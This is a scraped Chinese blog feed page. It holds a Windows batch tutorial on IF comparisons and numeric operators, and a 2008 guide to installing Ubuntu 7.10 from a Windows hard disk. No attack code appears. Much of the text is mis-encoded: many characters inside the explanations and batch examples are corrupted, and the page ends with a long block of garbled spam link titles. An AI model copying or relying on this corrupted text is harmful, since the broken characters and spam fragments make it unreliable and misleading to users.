IF CMDEXTVERSION number command
IF DEFINED variable command
后面两个用法,我不做介l?因ؓ他们和上面的用法表示的意义基本一?只简单说?nbsp; IF [/I] string1 compare-op string2 commandq个语句在判断字W时不区分字W的大小?看这两个例子
@echo off
if a == A (echo 我们相等) ELSE echo 我们不相{?br />
pause
执行后会昄我们不相{?br />
@echo off
if /i a == A (echo 我们相等) ELSE echo 我们不相{?br />
pause
加上/I不区分大写q{了!
最后面q有一些用来判断数字的W号
EQU - {于
NEQ - 不等?br />
LSS - 于
LEQ - 于或等?br />
GTR - 大于
GEQ - 大于或等?br />
我几举一个例?大家都懂数学...不讲多了
@echo off
set /p var=误入一个数?
if %var% LEQ 4 (echo 我小于等?) ELSE echo 我不于{于4
pause
BY 伤脑{?br />
]]> 在Windowspȝ上硬盘安装Desktop版的Ubuntu 7.10的引DE?/title> http://m.tkk7.com/yjjlovewjf/archive/2008/01/20/176566.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Sun, 20 Jan 2008 02:43:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/01/20/176566.html http://m.tkk7.com/yjjlovewjf/comments/176566.html http://m.tkk7.com/yjjlovewjf/archive/2008/01/20/176566.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/176566.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/176566.html 在Windowspȝ上硬盘安装Desktop版的Ubuntu 7.10的引DE?/p>
1Q下载安装所需要的引导文g(帐号Qubuntu,密码Qubuntuftp)Qhttp://ftp.ubuntu.org.cn/gnix_oag/boot_livecd_from_hd/gutsy/bhd_i386_2.6.22-14g-ntfs.tar.gz
从官方下?.10的ISO文gQ?br />
http://releases.ubuntu.com/gutsy/ubuntu-7.10-desktop-i386.iso
2Q解压下载的引导文gQ把解压出来的boot文g夹,grldr文g和menu.lst文g复制到C盘根目录?/p>
3Q打开C盘根目录下的boot.ini文gQ在最后加上一行c:\grldr=" Ubuntu Linux",具体可以参阅引导文g包解压出来的boot.ini.txt文g
4Q在L一个根目录下新Z个文件夹Qƈ重命名ؓgutsyQ把下蝲的ubuntu-7.10-desktop-i386.iso放进去gutsy文g?/p>
5Q重启电脑,选择“Ubuntu Linux" q行安装QUbuntu的安装可以参阅其他的资料
]]>
վ֩ģ壺
ëƬȫ |
þþþŷղAV |
40 |
ҳվƵ |
AVվ |
츾ëXXXX |
ˬָ߳BBƵѿ
|
18վѹۿ |
ؼëƬƵ |
CAOPORMƷƵ |
˾þþƷ
|
뾫ƷһƵ |
лиëƬѿ |
һվ |
Ʒ |
˳˳ۺ |
Ůֻˬ߹ۿ |
ۺ |
鸣ۺĻһƵ1
|
ޱһ |
avַ |
ɫַ |
AVҹҹþ |
õĻ2019 |
91ֻƬ |
߹ۿƵ |
ƵĻȫ |
2019ĻѴȫ5
|
ۺϼ߹ۿ |
Ʒa߹ۿapp |
ۺһ |
ɫóվ߹ۿ
|
һƵ |
õɫƵȫ |
žƵƵѹۿ
|
ҹëƬ |
Ʒv߹ۿ |
ѹۿİ |
պƵ |
AV֮պƷ |
þþƷ5555 |